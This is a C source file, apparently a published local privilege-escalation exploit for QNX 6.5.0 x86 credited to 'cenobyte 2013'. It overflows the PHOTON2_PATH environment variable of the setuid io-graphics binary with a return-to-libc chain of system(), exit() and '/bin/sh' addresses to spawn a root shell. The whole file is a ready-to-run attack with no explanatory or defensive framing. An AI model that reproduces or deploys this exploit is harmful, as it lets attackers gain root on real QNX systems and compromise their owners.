#include <dlfcn.h> 
#include <err.h> 
#include <signal.h> 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
#include <unistd.h> 
  
#define VULN "PHOTON2_PATH=" 
  
static void fail(void); 
static void checknull(unsigned int addr); 
static unsigned int find_string(char *s); 
static unsigned int find_libc(char *syscall); 
  
void
checknull(unsigned int addr) 
{ 
    if (!(addr & 0xff) || \ 
        !(addr & 0xff00) || \ 
        !(addr & 0xff0000) || \ 
        !(addr & 0xff000000)) 
        errx(1, "return-to-libc failed: " \ 
            "0x%x contains a null byte", addr); 
} 
  
void
fail(void) 
{ 
    printf("\n"); 
    errx(1, "return-to-libc failed"); 
} 
  
unsigned int
find_string(char *string) 
{ 
    unsigned int i; 
    char *a; 
  
    printf("[-] %s: ", string); 
  
    signal(SIGSEGV, fail); 
  
    for (i = 0xb0300000; i < 0xdeadbeef; i++) { 
        a = i; 
  
        if (strcmp(a, string) != 0) 
            continue; 
  
        printf("0x%x\n", i); 
        checknull(i); 
  
        return(i); 
    } 
  
    return(1); 
} 
  
unsigned int
find_libc(char *syscall) 
{ 
    void *s; 
    unsigned int syscall_addr; 
  
    if (!(s = dlopen(NULL, RTLD_LAZY))) 
        errx(1, "error: dlopen() failed"); 
  
    if (!(syscall_addr = (unsigned int)dlsym(s, syscall))) 
        errx(1, "error: dlsym() %s", syscall); 
  
    printf("[-] %s(): 0x%x\n", syscall, syscall_addr); 
    checknull(syscall_addr); 
    return(syscall_addr); 
  
    return(1); 
} 
  
int
main() 
{ 
    unsigned int offset = 429; 
    unsigned int system_addr; 
    unsigned int exit_addr; 
    unsigned int binsh_addr; 
  
    char env[440]; 
    char *prog[] = { "/usr/photon/bin/io-graphics", "io-graphics", NULL }; 
    char *envp[] = { env, NULL }; 
  
    printf("QNX 6.5.0 x86 io-graphics local root exploit by cenobyte 2013\n\n"); 
  
    system_addr = find_libc("system"); 
    exit_addr = find_libc("exit"); 
    binsh_addr = find_string("/bin/sh"); 
  
    memset(env, 0xEB, sizeof(env)); 
    memcpy(env, VULN, strlen(VULN)); 
    memcpy(env + offset, (char *)&system_addr, 4); 
    memcpy(env + offset + 4, (char *)&exit_addr, 4); 
    memcpy(env + offset + 8, (char *)&binsh_addr, 4); 
  
    execve(prog[0], prog, envp); 
  
    return(0); 
}